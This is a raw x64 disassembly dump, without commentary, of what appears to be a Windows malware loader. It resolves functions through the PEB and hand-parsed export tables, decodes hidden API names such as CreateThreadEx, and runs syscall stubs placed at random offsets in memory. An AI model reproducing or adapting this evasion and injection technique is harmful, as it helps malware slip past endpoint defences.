mov qword [rsp + 0x78], rax
mov rax, qword [rax + 0x40]
mov qword [rsp + 0x70], rax
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_lstrlenW]
mov dword [rbp - 0x60], eax
xor ecx, ecx
mov edi, ecx
mov dword [rsp + 0x68], ecx
movsxd rcx, eax
inc rcx
call fcn.14008d174
mov r9, rax
mov qword [rsp + 0x60], rax
xor eax, eax
mov edx, eax
movsxd r8, dword [rbp - 0x60]
test r8d, r8d
jle 0x14001d3d2
lea r12d, [rax + 1]
mov r10d, r12d
mov r14, qword [rsp + 0x70]
mov ecx, r10d
cmp word [r14 + rdx*2], 0x5c
cmovne ecx, edi
mov edi, ecx
mov al, byte [r14 + rdx*2]
mov byte [r9 + rdx], al
add r10d, r12d
add rdx, r12
cmp rdx, r8
jl 0x14001d3a3
mov r14d, reloc.WLDAP32.dll_Ordinal_32
lea r12d, [r14 - 0x10]
mov dword [rsp + 0x68], ecx
sub r8d, edi
movsxd rdi, r8d
movsxd rdx, dword [rsp + 0x68]
add rdx, r9
mov r8, rdi
mov rcx, r9
call fcn.1400b4700
mov rcx, qword [rsp + 0x60]
xor r10d, r10d
mov byte [rcx + rdi], r10b
movzx edi, r10b
cmp qword [rsp + 0x70], r10
je 0x14001d42f
mov rax, rcx
lea r9, [rbp + 0x1c1]
sub r9, rcx
lea r11d, [r10 + 1]
movzx r8d, byte [rax]
movzx edx, byte [rax + r9]
sub r8d, edx
jne 0x14001d428
add rax, r11
test edx, edx
jne 0x14001d413
test r8d, r8d
cmove edi, r11d
call fcn.14008cef0
xor r9d, r9d
test dil, dil
jne 0x14001e285
mov rax, qword [rsp + 0x78]
mov rax, qword [rax]
mov qword [rsp + 0x78], rax
cmp rax, qword [rbp - 0x38]
jne 0x14001d35a
mov dword [rbp - 0x60], r9d
mov byte [rbp + 0x638], 0x7d
mov r9, rsi
xor r8d, r8d
mov dl, Ordinal_79
lea rcx, [rbp + 0x638]
call fcn.14002e778
mov byte [rbp + 0x639], al
mov r9, rsi
mov r8d, 1
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0x638]
call fcn.14002e778
mov byte [rbp + 0x63a], al
mov r9, rsi
mov r8d, 2
mov dl, 0x57
lea rcx, [rbp + 0x638]
call fcn.14002e778
mov byte [rbp + 0x63b], al
mov r9, rsi
mov r8d, 3
mov dl, WSAStartup
lea rcx, [rbp + 0x638]
call fcn.14002e778
mov byte [rbp + 0x63c], al
mov r9, rsi
mov r8d, 4
mov dl, 0x69
lea rcx, [rbp + 0x638]
call fcn.14002e778
mov byte [rbp + 0x63d], al
mov r9, rsi
mov r8d, 5
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0x638]
call fcn.14002e778
mov byte [rbp + 0x63e], al
mov r9, rsi
mov r8d, 6
mov dl, 0x65
lea rcx, [rbp + 0x638]
call fcn.14002e778
mov byte [rbp + 0x63f], al
mov r9, rsi
mov r8d, 7
mov dl, 0x56
lea rcx, [rbp + 0x638]
call fcn.14002e778
mov byte [rbp + 0x640], al
mov r9, rsi
mov r8d, 8
mov dl, 0x69
lea rcx, [rbp + 0x638]
call fcn.14002e778
mov byte [rbp + 0x641], al
mov r9, rsi
mov r8d, 9
mov dl, WSAStartup
lea rcx, [rbp + 0x638]
call fcn.14002e778
mov byte [rbp + 0x642], al
mov r9, rsi
mov r8d, 0xa
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0x638]
call fcn.14002e778
mov byte [rbp + 0x643], al
mov r9, rsi
mov r8d, ntohs
mov dl, 0x75
lea rcx, [rbp + 0x638]
call fcn.14002e778
mov byte [rbp + 0x644], al
mov r9, rsi
mov r8d, ntohs
mov dl, 0x61
lea rcx, [rbp + 0x638]
call fcn.14002e778
mov byte [rbp + 0x645], al
mov r9, rsi
mov r8d, reloc.WS2_32.dll_listen
mov dl, 0x6c
lea rcx, [rbp + 0x638]
call fcn.14002e778
mov byte [rbp + 0x646], al
mov r9, rsi
mov r8d, select
mov dl, 0x4d
lea rcx, [rbp + 0x638]
call fcn.14002e778
mov byte [rbp + 0x647], al
mov r9, rsi
mov r8d, reloc.WS2_32.dll_ntohs
mov dl, 0x65
lea rcx, [rbp + 0x638]
call fcn.14002e778
mov byte [rbp + 0x648], al
mov r9, rsi
mov r8, r12
mov dl, 0x6d
lea rcx, [rbp + 0x638]
call fcn.14002e778
mov byte [rbp + 0x649], al
mov r9, rsi
mov r8, rbx
mov dl, reloc.WS2_32.dll_WSAGetLastError
lea rcx, [rbp + 0x638]
call fcn.14002e778
mov byte [rbp + 0x64a], al
mov r9, rsi
mov r8d, reloc.WS2_32.dll_select
mov dl, WSAStartup
lea rcx, [rbp + 0x638]
call fcn.14002e778
mov byte [rbp + 0x64b], al
mov r9, rsi
mov r8d, reloc.WS2_32.dll_send
mov dl, 0x79
lea rcx, [rbp + 0x638]
call fcn.14002e778
mov byte [rbp + 0x64c], al
xor eax, eax
mov byte [rbp + 0x64d], al
mov edi, eax
lea r12d, [rax + 1]
mov r9, rsi
mov r8, rdi
mov dl, byte [rbp + rdi + 0x639]
lea rcx, [rbp + 0x638]
call fcn.14002e778
mov byte [rbp + rdi + 0x639], al
add rdi, r12
cmp rdi, rsi
jb 0x14001d6ab
xor edi, edi
lea r12d, [rdi + 0x10]
mov byte [rbp + 0x64d], dil
mov byte [rbp + 0x1b0], bl
lea r14d, [rdi + 9]
mov r9d, r14d
xor r8d, r8d
mov dl, WSAGetLastError
lea rcx, [rbp + 0x1b0]
call fcn.14002e000
mov byte [rbp + 0x1b1], al
mov r9d, r14d
lea r14d, [rdi + 1]
mov r8d, r14d
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0x1b0]
call fcn.14002e000
mov byte [rbp + 0x1b2], al
lea r9d, [rdi + 9]
lea r8d, [rdi + 2]
mov dl, 0x64
lea rcx, [rbp + 0x1b0]
call fcn.14002e000
mov byte [rbp + 0x1b3], al
lea r9d, [rdi + 9]
lea r8d, [rdi + 3]
mov dl, 0x6c
lea rcx, [rbp + 0x1b0]
call fcn.14002e000
mov byte [rbp + 0x1b4], al
lea r9d, [rdi + 9]
lea r8d, [rdi + 4]
mov dl, 0x6c
lea rcx, [rbp + 0x1b0]
call fcn.14002e000
mov byte [rbp + 0x1b5], al
lea r9d, [rdi + 9]
lea r8d, [rdi + 5]
mov dl, reloc.WLDAP32.dll_Ordinal_46
lea rcx, [rbp + 0x1b0]
call fcn.14002e000
mov byte [rbp + 0x1b6], al
lea r9d, [rdi + 9]
lea r8d, [rdi + 6]
mov dl, 0x64
lea rcx, [rbp + 0x1b0]
call fcn.14002e000
mov byte [rbp + 0x1b7], al
lea r9d, [rdi + 9]
lea r8d, [rdi + 7]
mov dl, 0x6c
lea rcx, [rbp + 0x1b0]
call fcn.14002e000
mov byte [rbp + 0x1b8], al
lea r9d, [rdi + 9]
lea r8d, [rdi + 8]
mov dl, 0x6c
lea rcx, [rbp + 0x1b0]
call fcn.14002e000
mov byte [rbp + 0x1b9], al
xor eax, eax
mov byte [rbp + 0x1ba], al
mov r9d, 9
mov r8, rdi
mov dl, byte [rbp + rdi + 0x1b1]
lea rcx, [rbp + 0x1b0]
call fcn.14002e000
mov byte [rbp + rdi + 0x1b1], al
add rdi, r14
cmp rdi, 9
jb 0x14001d7ee
xor edi, edi
lea r14d, [rdi + 0x20]
mov byte [rbp + 0x1ba], dil
mov rax, qword gs:[0x60]
test rax, rax
je 0x14001d93d
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x20]
mov qword [rbp - 0x78], rax
mov qword [rsp + 0x70], rax
mov rax, qword [rax + 0x40]
mov qword [rsp + 0x60], rax
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_lstrlenW]
mov dword [rsp + 0x78], eax
mov dword [rsp + 0x68], edi
movsxd rcx, eax
inc rcx
call fcn.14008d174
mov r9, rax
mov qword [rbp - 0x70], rax
xor eax, eax
mov edx, eax
movsxd r8, dword [rsp + 0x78]
test r8d, r8d
jle 0x14001d8ba
lea esi, [rax + 1]
mov r10d, esi
mov rbx, qword [rsp + 0x60]
mov ecx, r10d
cmp word [rbx + rdx*2], 0x5c
cmovne ecx, edi
mov edi, ecx
mov al, byte [rbx + rdx*2]
mov byte [r9 + rdx], al
add r10d, esi
add rdx, rsi
cmp rdx, r8
jl 0x14001d88f
mov ebx, reloc.WS2_32.dll_recvfrom
lea esi, [rbx + 3]
mov dword [rsp + 0x68], ecx
sub r8d, edi
movsxd rdi, r8d
movsxd rdx, dword [rsp + 0x68]
add rdx, r9
mov r8, rdi
mov rcx, r9
call fcn.1400b4700
mov rcx, qword [rbp - 0x70]
xor r10d, r10d
mov byte [rcx + rdi], r10b
movzx edi, r10b
cmp qword [rsp + 0x60], r10
je 0x14001d916
mov rax, rcx
lea r9, [rbp + 0x1b1]
sub r9, rcx
lea r11d, [r10 + 1]
movzx r8d, byte [rax]
movzx edx, byte [rax + r9]
sub r8d, edx
jne 0x14001d90f
add rax, r11
test edx, edx
jne 0x14001d8fa
test r8d, r8d
cmove edi, r11d
call fcn.14008cef0
test dil, dil
jne 0x14001e4d5
mov rax, qword [rsp + 0x70]
mov rax, qword [rax]
mov qword [rsp + 0x70], rax
xor edi, edi
cmp rax, qword [rbp - 0x78]
jne 0x14001d84a
mov eax, edi
cmp dword [rbp - 0x60], edi
jl 0x1400263a0
test eax, eax
js 0x1400263a0
mov qword [rbp + 0xd70], rdi
mov byte [rbp + 0x270], reloc.WS2_32.dll_WSAGetLastError
mov r9, r12
xor r8d, r8d
mov dl, Ordinal_79
lea rcx, [rbp + 0x270]
call fcn.14002e078
mov byte [rbp + 0x271], al
mov r9, r12
mov ebx, 1
mov r8d, ebx
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0x270]
call fcn.14002e078
mov byte [rbp + 0x272], al
mov r9, r12
lea r8d, [rbx + 1]
mov dl, 0x43
lea rcx, [rbp + 0x270]
call fcn.14002e078
mov byte [rbp + 0x273], al
mov r9, r12
lea r8d, [rbx + 2]
mov dl, WSAStartup
lea rcx, [rbp + 0x270]
call fcn.14002e078
mov byte [rbp + 0x274], al
mov r9, r12
lea r8d, [rbx + 3]
mov dl, 0x65
lea rcx, [rbp + 0x270]
call fcn.14002e078
mov byte [rbp + 0x275], al
mov r9, r12
lea r8d, [rbx + 4]
mov dl, 0x61
lea rcx, [rbp + 0x270]
call fcn.14002e078
mov byte [rbp + 0x276], al
mov r9, r12
lea r8d, [rbx + 5]
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0x270]
call fcn.14002e078
mov byte [rbp + 0x277], al
mov r9, r12
lea r8d, [rbx + 6]
mov dl, 0x65
lea rcx, [rbp + 0x270]
call fcn.14002e078
mov byte [rbp + 0x278], al
mov r9, r12
lea r8d, [rbx + 7]
mov dl, 0x54
lea rcx, [rbp + 0x270]
call fcn.14002e078
mov byte [rbp + 0x279], al
mov r9, r12
lea r8d, [rbx + 8]
mov dl, 0x68
lea rcx, [rbp + 0x270]
call fcn.14002e078
mov byte [rbp + 0x27a], al
mov r9, r12
lea r8d, [rbx + 9]
mov dl, WSAStartup
lea rcx, [rbp + 0x270]
call fcn.14002e078
mov byte [rbp + 0x27b], al
mov r9, r12
lea r8d, [rbx + 0xa]
mov dl, 0x65
lea rcx, [rbp + 0x270]
call fcn.14002e078
mov byte [rbp + 0x27c], al
mov r9, r12
lea r8d, [rbx + 0xb]
mov dl, 0x61
lea rcx, [rbp + 0x270]
call fcn.14002e078
mov byte [rbp + 0x27d], al
mov r9, r12
lea r8d, [rbx + 0xc]
mov dl, 0x64
lea rcx, [rbp + 0x270]
call fcn.14002e078
mov byte [rbp + 0x27e], al
mov r9, r12
lea r8d, [rbx + 0xd]
mov dl, 0x45
lea rcx, [rbp + 0x270]
call fcn.14002e078
mov byte [rbp + 0x27f], al
mov r9, r12
lea r8d, [rbx + 0xe]
mov dl, 0x78
lea rcx, [rbp + 0x270]
call fcn.14002e078
mov byte [rbp + 0x280], al
xor eax, eax
mov byte [rbp + 0x281], al
mov r9, r12
mov r8, rdi
mov dl, byte [rbp + rdi + 0x271]
lea rcx, [rbp + 0x270]
call fcn.14002e078
mov byte [rbp + rdi + 0x271], al
add rdi, rbx
cmp rdi, r12
jb 0x14001db19
mov ebx, reloc.WS2_32.dll_recvfrom
xor edi, edi
mov byte [rbp + 0x281], dil
mov byte [rbp + 0x1a0], 0x52
lea r12d, [rbx - 8]
mov r9d, r12d
xor r8d, r8d
mov dl, WSAGetLastError
lea rcx, [rbp + 0x1a0]
call fcn.14002e000
mov byte [rbp + 0x1a1], al
mov r9d, r12d
lea r12d, [rbx - 0x10]
mov r8d, r12d
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0x1a0]
call fcn.14002e000
mov byte [rbp + 0x1a2], al
lea r9d, [rbx - 8]
lea r8d, [rbx - 0xf]
mov dl, 0x64
lea rcx, [rbp + 0x1a0]
call fcn.14002e000
mov byte [rbp + 0x1a3], al
lea r9d, [rbx - 8]
lea r8d, [rbx - 0xe]
mov dl, 0x6c
lea rcx, [rbp + 0x1a0]
call fcn.14002e000
mov byte [rbp + 0x1a4], al
lea r9d, [rbx - 8]
lea r8d, [rbx - 0xd]
mov dl, 0x6c
lea rcx, [rbp + 0x1a0]
call fcn.14002e000
mov byte [rbp + 0x1a5], al
lea r9d, [rbx - 8]
lea r8d, [rbx - 0xc]
mov dl, reloc.WLDAP32.dll_Ordinal_46
lea rcx, [rbp + 0x1a0]
call fcn.14002e000
mov byte [rbp + 0x1a6], al
lea r9d, [rbx - 8]
lea r8d, [rbx - 0xb]
mov dl, 0x64
lea rcx, [rbp + 0x1a0]
call fcn.14002e000
mov byte [rbp + 0x1a7], al
lea r9d, [rbx - 8]
lea r8d, [rbx - 0xa]
mov dl, 0x6c
lea rcx, [rbp + 0x1a0]
call fcn.14002e000
mov byte [rbp + 0x1a8], al
lea r9d, [rbx - 8]
lea r8d, [rbx - 9]
mov dl, 0x6c
lea rcx, [rbp + 0x1a0]
call fcn.14002e000
mov byte [rbp + 0x1a9], al
xor eax, eax
mov byte [rbp + 0x1aa], al
mov r9d, 9
mov r8, rdi
mov dl, byte [rbp + rdi + 0x1a1]
lea rcx, [rbp + 0x1a0]
call fcn.14002e000
mov byte [rbp + rdi + 0x1a1], al
add rdi, r12
cmp rdi, 9
jb 0x14001dc5e
mov r12d, reloc.WS2_32.dll_recv
xor r9d, r9d
mov byte [rbp + 0x1aa], r9b
mov rax, qword gs:[0x60]
test rax, rax
je 0x14001e99b
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x20]
mov qword [rbp - 0x78], rax
mov qword [rsp + 0x70], rax
mov rax, qword [rax + 0x40]
mov qword [rsp + 0x60], rax
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_lstrlenW]
mov dword [rsp + 0x78], eax
xor ecx, ecx
mov edi, ecx
mov dword [rsp + 0x68], ecx
movsxd rcx, eax
inc rcx
call fcn.14008d174
mov r9, rax
mov qword [rbp - 0x70], rax
xor eax, eax
mov edx, eax
movsxd r8, dword [rsp + 0x78]
test r8d, r8d
jle 0x14001dd31
lea ebx, [rax + 1]
mov r10d, ebx
mov rsi, qword [rsp + 0x60]
mov ecx, r10d
cmp word [rsi + rdx*2], 0x5c
cmovne ecx, edi
mov edi, ecx
mov al, byte [rsi + rdx*2]
mov byte [r9 + rdx], al
add r10d, ebx
add rdx, rbx
cmp rdx, r8
jl 0x14001dd06
mov ebx, reloc.WS2_32.dll_recvfrom
lea esi, [rbx + 3]
mov dword [rsp + 0x68], ecx
sub r8d, edi
movsxd rdi, r8d
movsxd rdx, dword [rsp + 0x68]
add rdx, r9
mov r8, rdi
mov rcx, r9
call fcn.1400b4700
mov rcx, qword [rbp - 0x70]
xor r10d, r10d
mov byte [rdi + rcx], r10b
movzx edi, r10b
cmp qword [rsp + 0x60], r10
je 0x14001dd8d
mov rax, rcx
lea r9, [rbp + 0x1a1]
sub r9, rcx
lea r11d, [r10 + 1]
movzx r8d, byte [rax]
movzx edx, byte [rax + r9]
sub r8d, edx
jne 0x14001dd86
add rax, r11
test edx, edx
jne 0x14001dd71
test r8d, r8d
cmove edi, r11d
call fcn.14008cef0
xor r9d, r9d
test dil, dil
jne 0x14001e729
mov rax, qword [rsp + 0x70]
mov rax, qword [rax]
mov qword [rsp + 0x70], rax
cmp rax, qword [rbp - 0x78]
jne 0x14001dcbd
jmp 0x14001e99b
mov rcx, qword [rbp - 0x48]
mov rcx, qword [rcx + 0x20]
test rcx, rcx
je 0x14001c9b9
mov eax, 0x5a4d
cmp word [rcx], ax
jne 0x14001c9b9
movsxd rax, dword [rcx + 0x3c]
cmp dword [rax + rcx], 0x4550
jne 0x14001c9b9
mov eax, dword [rax + rcx + 0x88]
add rax, rcx
je 0x14001c9b9
mov r11d, dword [rax + 0x1c]
add r11, rcx
mov edx, dword [rax + 0x24]
add rdx, rcx
mov qword [rbp - 0x80], rdx
mov r10d, dword [rax + 0x20]
add r10, rcx
mov rdx, r9
mov eax, dword [rax + 0x18]
mov qword [rsp + 0x60], rax
test rax, rax
je 0x14001c9b9
mov eax, dword [r10 + rdx*4]
add rax, rcx
lea r9, [rbp + 0x771]
sub r9, rax
movzx r8d, byte [rax]
movzx edi, byte [rax + r9]
sub r8d, edi
jne 0x14001de4c
inc rax
test edi, edi
jne 0x14001de37
xor r9d, r9d
test r8d, r8d
je 0x14001de63
inc rdx
cmp rdx, qword [rsp + 0x60]
jb 0x14001de26
jmp 0x14001c9b9
mov rax, qword [rbp - 0x80]
movzx eax, word [rax + rdx*2]
mov edx, dword [r11 + rax*4]
add rdx, rcx
je 0x14001c9b9
mov eax, dword [rdx + 4]
mov dword [rsp + 0x68], eax
mov ecx, 1
cmp eax, ecx
jl 0x14001c9b9
mov edx, 0x1000
xor ecx, ecx
lea r9d, [rcx + 4]
mov r8d, 0x3000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov qword [rbp - 0x48], rax
call fcn.14008ce90
or dword [rbp + 0x10ef4], 0xffffffff
mov r8d, 0x6c078965
mov edx, eax
lea rcx, [rbp + 0xfb70]
call fcn.14002ef44
lea rcx, [rbp + 0xfb70]
call fcn.14002e95c
mov r8d, eax
movabs rax, 0xc0906c513cedb3
mul r8
mov ecx, r8d
sub rcx, rdx
shr rcx, 1
add rcx, rdx
shr rcx, 0xb
imul rax, rcx, 0xff4
sub r8, rax
mov qword [rsp + 0x60], r8
xor eax, eax
mov edi, eax
lea ebx, [rax + 1]
lea rcx, [rbp + 0xfb70]
call fcn.14002e95c
mov eax, eax
mov qword [rbp + rdi*8 + 0x2b540], rax
add rdi, rbx
cmp rdi, 0x200
jl 0x14001df09
mov ebx, reloc.WS2_32.dll_recvfrom
mov rdi, qword [rbp - 0x48]
mov r8d, 0x1000
lea rdx, [rbp + 0x2b540]
mov rcx, rdi
call fcn.1400b4700
mov eax, dword [rsp + 0x68]
mov dword [0x1400dd364], eax
add rdi, qword [rsp + 0x60]
movsd xmm0, qword [0x1400dd360]
movsd qword [rdi], xmm0
movzx eax, word [0x1400dd368]
mov word [rdi + 8], ax
mov al, byte [0x1400dd36a]
mov byte [rdi + 0xa], al
xor eax, eax
mov dword [rbp + 0xee4], eax
lea r9, [rbp + 0xee4]
mov r8d, r14d
mov edx, 0x1000
mov rcx, qword [rbp - 0x48]
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
mov dword [rsp + 0x28], 4
mov dword [rsp + 0x20], 0x1000
lea r9, [rbp + 0xfa8]
xor r8d, r8d
lea rdx, [rbp + 0xdc8]
mov rcx, qword [rbp - 0x40]
call rdi
mov edi, eax
lea r9, [rbp + 0xee4]
mov r8d, dword [rbp + 0xee4]
mov edx, 0x1000
mov rcx, qword [rbp - 0x48]
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
xor edx, edx
mov r8d, 0x1000
mov rcx, qword [rbp - 0x48]
call fcn.1400b4da0
lea edx, [rbx - 6]
mov r8d, 0x8000
mov rcx, qword [rbp - 0x48]
call qword [sym.imp.KERNEL32.dll_VirtualFree]
xor r9d, r9d
mov dword [0x1400dd364], r9d
test edi, edi
jns 0x14001c9b9
mov qword [rbp + 0xc18], r9
jmp 0x14001c9c7
mov rcx, qword [rbp - 0x48]
mov rcx, qword [rcx + 0x20]
test rcx, rcx
je 0x14001cf17
mov eax, 0x5a4d
cmp word [rcx], ax
jne 0x14001cf17
movsxd rax, dword [rcx + 0x3c]
cmp dword [rax + rcx], 0x4550
jne 0x14001cf17
mov eax, dword [rax + rcx + 0x88]
add rax, rcx
je 0x14001cf17
mov r11d, dword [rax + 0x1c]
add r11, rcx
mov edx, dword [rax + 0x24]
add rdx, rcx
mov qword [rbp - 0x80], rdx
mov r10d, dword [rax + 0x20]
add r10, rcx
mov rdx, r9
mov eax, dword [rax + 0x18]
mov qword [rsp + 0x60], rax
test rax, rax
je 0x14001cf17
mov eax, dword [r10 + rdx*4]
add rax, rcx
lea r9, [rbp + 0x791]
sub r9, rax
movzx r8d, byte [rax]
movzx edi, byte [rax + r9]
sub r8d, edi
jne 0x14001e0b3
inc rax
test edi, edi
jne 0x14001e09e
test r8d, r8d
je 0x14001e0c7
inc rdx
cmp rdx, qword [rsp + 0x60]
jb 0x14001e08d
jmp 0x14001cf17
mov rax, qword [rbp - 0x80]
movzx eax, word [rax + rdx*2]
mov edx, dword [r11 + rax*4]
add rdx, rcx
je 0x14001cf17
mov eax, dword [rdx + 4]
mov dword [rsp + 0x68], eax
mov ecx, 1
cmp eax, ecx
jl 0x14001cf17
mov edx, 0x1000
xor ecx, ecx
lea r9d, [rcx + 4]
mov r8d, 0x3000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov qword [rbp - 0x48], rax
call fcn.14008ce90
or dword [rbp + 0x12284], 0xffffffff
mov r8d, 0x6c078965
mov edx, eax
lea rcx, [rbp + 0x10f00]
call fcn.14002ef44
lea rcx, [rbp + 0x10f00]
call fcn.14002e95c
mov r8d, eax
movabs rax, 0xc0906c513cedb3
mul r8
mov ecx, r8d
sub rcx, rdx
shr rcx, 1
add rcx, rdx
shr rcx, 0xb
imul rax, rcx, 0xff4
sub r8, rax
mov qword [rsp + 0x60], r8
xor eax, eax
mov edi, eax
lea r14d, [rax + 1]
lea rcx, [rbp + 0x10f00]
call fcn.14002e95c
mov eax, eax
mov qword [rbp + rdi*8 + 0x2c540], rax
add rdi, r14
cmp rdi, 0x200
jl 0x14001e16e
mov r14d, reloc.WLDAP32.dll_Ordinal_32
mov rdi, qword [rbp - 0x48]
mov r8d, 0x1000
lea rdx, [rbp + 0x2c540]
mov rcx, rdi
call fcn.1400b4700
mov eax, dword [rsp + 0x68]
mov dword [0x1400dd364], eax
add rdi, qword [rsp + 0x60]
movsd xmm0, qword [0x1400dd360]
movsd qword [rdi], xmm0
movzx eax, word [0x1400dd368]
mov word [rdi + 8], ax
mov al, byte [0x1400dd36a]
mov byte [rdi + 0xa], al
xor eax, eax
mov dword [rbp + 0xee0], eax
lea r9, [rbp + 0xee0]
mov r8d, r14d
mov edx, 0x1000
mov rcx, qword [rbp - 0x48]
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
mov dword [rsp + 0x28], 0x40
mov dword [rsp + 0x20], 0x1000
lea r9, [rbp + 0xfb0]
xor r8d, r8d
lea rdx, [rbp + 0xdd0]
mov rcx, qword [rbp - 0x40]
call rdi
mov edi, eax
lea r9, [rbp + 0xee0]
mov r8d, dword [rbp + 0xee0]
mov edx, 0x1000
mov rcx, qword [rbp - 0x48]
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
xor edx, edx
mov r8d, 0x1000
mov rcx, qword [rbp - 0x48]
call fcn.1400b4da0
lea edx, [r14 - 0x15]
mov r8d, 0x8000
mov rcx, qword [rbp - 0x48]
call qword [sym.imp.KERNEL32.dll_VirtualFree]
xor r9d, r9d
mov dword [0x1400dd364], r9d
test edi, edi
jns 0x14001cf17
mov qword [rbp - 0x48], r9
jmp 0x14001cf22
mov rcx, qword [rsp + 0x78]
mov rcx, qword [rcx + 0x20]
test rcx, rcx
je 0x14001d457
mov eax, 0x5a4d
cmp word [rcx], ax
jne 0x14001d457
movsxd rax, dword [rcx + 0x3c]
cmp dword [rax + rcx], 0x4550
jne 0x14001d457
mov eax, dword [rax + rcx + 0x88]
add rax, rcx
je 0x14001d457
mov r11d, dword [rax + 0x1c]
add r11, rcx
mov edx, dword [rax + 0x24]
add rdx, rcx
mov qword [rsp + 0x60], rdx
mov r10d, dword [rax + 0x20]
add r10, rcx
mov rdx, r9
mov eax, dword [rax + 0x18]
mov qword [rbp - 0x38], rax
test rax, rax
je 0x14001d457
mov eax, dword [r10 + rdx*4]
add rax, rcx
lea r9, [rbp + 0x501]
sub r9, rax
movzx r8d, byte [rax]
movzx edi, byte [rax + r9]
sub r8d, edi
jne 0x14001e318
inc rax
test edi, edi
jne 0x14001e303
xor r9d, r9d
test r8d, r8d
je 0x14001e32e
inc rdx
cmp rdx, qword [rbp - 0x38]
jb 0x14001e2f2
jmp 0x14001d457
mov rax, qword [rsp + 0x60]
movzx eax, word [rax + rdx*2]
mov edx, dword [r11 + rax*4]
add rdx, rcx
je 0x14001d457
mov eax, dword [rdx + 4]
mov dword [rsp + 0x68], eax
mov ecx, 1
cmp eax, ecx
jl 0x14001d457
mov edx, 0x1000
xor ecx, ecx
lea r9d, [rcx + 4]
mov r8d, 0x3000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov qword [rsp + 0x78], rax
call fcn.14008ce90
or dword [rbp + 0x13614], 0xffffffff
mov r8d, 0x6c078965
mov edx, eax
lea rcx, [rbp + 0x12290]
call fcn.14002ef44
lea rcx, [rbp + 0x12290]
call fcn.14002e95c
mov r8d, eax
movabs rax, 0xc0906c513cedb3
mul r8
mov ecx, r8d
sub rcx, rdx
shr rcx, 1
add rcx, rdx
shr rcx, 0xb
imul rax, rcx, 0xff4
sub r8, rax
mov qword [rbp - 0x38], r8
xor eax, eax
mov edi, eax
lea ebx, [rax + 1]
lea rcx, [rbp + 0x12290]
call fcn.14002e95c
mov eax, eax
mov qword [rbp + rdi*8 + 0x2d540], rax
add rdi, rbx
cmp rdi, 0x200
jl 0x14001e3d5
mov ebx, reloc.WS2_32.dll_recvfrom
mov rdi, qword [rsp + 0x78]
mov r8d, 0x1000
lea rdx, [rbp + 0x2d540]
mov rcx, rdi
call fcn.1400b4700
mov eax, dword [rsp + 0x68]
mov dword [0x1400dd364], eax
add rdi, qword [rbp - 0x38]
movsd xmm0, qword [0x1400dd360]
movsd qword [rdi], xmm0
movzx eax, word [0x1400dd368]
mov word [rdi + 8], ax
mov al, byte [0x1400dd36a]
mov byte [rdi + 0xa], al
xor eax, eax
mov dword [rbp + 0xedc], eax
lea r9, [rbp + 0xedc]
mov r8d, r14d
mov edx, 0x1000
mov rcx, qword [rsp + 0x78]
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
xor eax, eax
mov qword [rsp + 0x20], rax
mov r9, qword [rbp - 0x78]
mov r8, qword [rbp - 0x70]
mov rdx, qword [rbp + 0xc18]
mov rcx, qword [rbp - 0x40]
call rdi
mov dword [rbp - 0x60], eax
lea r9, [rbp + 0xedc]
mov r8d, dword [rbp + 0xedc]
mov edx, 0x1000
mov rdi, qword [rsp + 0x78]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
xor edx, edx
mov r8d, 0x1000
mov rcx, rdi
call fcn.1400b4da0
lea edx, [rbx - 6]
mov r8d, 0x8000
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_VirtualFree]
xor eax, eax
mov dword [0x1400dd364], eax
jmp 0x14001d45b
mov rcx, qword [rsp + 0x70]
mov rcx, qword [rcx + 0x20]
xor edi, edi
test rcx, rcx
je 0x14001d93d
mov eax, 0x5a4d
cmp word [rcx], ax
jne 0x14001d93d
movsxd rax, dword [rcx + 0x3c]
cmp dword [rax + rcx], 0x4550
jne 0x14001d93d
mov eax, dword [rax + rcx + 0x88]
add rax, rcx
je 0x14001d93d
mov r11d, dword [rax + 0x1c]
add r11, rcx
mov edx, dword [rax + 0x24]
add rdx, rcx
mov qword [rbp - 0x78], rdx
mov r10d, dword [rax + 0x20]
add r10, rcx
mov edx, edi
mov eax, dword [rax + 0x18]
mov qword [rbp - 0x70], rax
test rax, rax
je 0x14001d93d
mov eax, dword [r10 + rdx*4]
add rax, rcx
lea r9, [rbp + 0x639]
sub r9, rax
movzx r8d, byte [rax]
movzx edi, byte [rax + r9]
sub r8d, edi
jne 0x14001e568
inc rax
test edi, edi
jne 0x14001e553
xor edi, edi
test r8d, r8d
je 0x14001e57d
inc rdx
cmp rdx, qword [rbp - 0x70]
jb 0x14001e542
jmp 0x14001d93d
mov rax, qword [rbp - 0x78]
movzx eax, word [rax + rdx*2]
mov edx, dword [r11 + rax*4]
add rdx, rcx
je 0x14001d93d
mov eax, dword [rdx + 4]
mov dword [rsp + 0x78], eax
mov ecx, 1
cmp eax, ecx
jl 0x14001d93d
mov edx, 0x1000
xor ecx, ecx
lea r9d, [rcx + 4]
mov r8d, 0x3000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov qword [rsp + 0x70], rax
call fcn.14008ce90
or dword [rbp + 0x149a4], 0xffffffff
mov r8d, 0x6c078965
mov edx, eax
lea rcx, [rbp + 0x13620]
call fcn.14002ef44
lea rcx, [rbp + 0x13620]
call fcn.14002e95c
mov r8d, eax
movabs rax, 0xc0906c513cedb3
mul r8
mov ecx, r8d
sub rcx, rdx
shr rcx, 1
add rcx, rdx
shr rcx, 0xb
imul rax, rcx, 0xff4
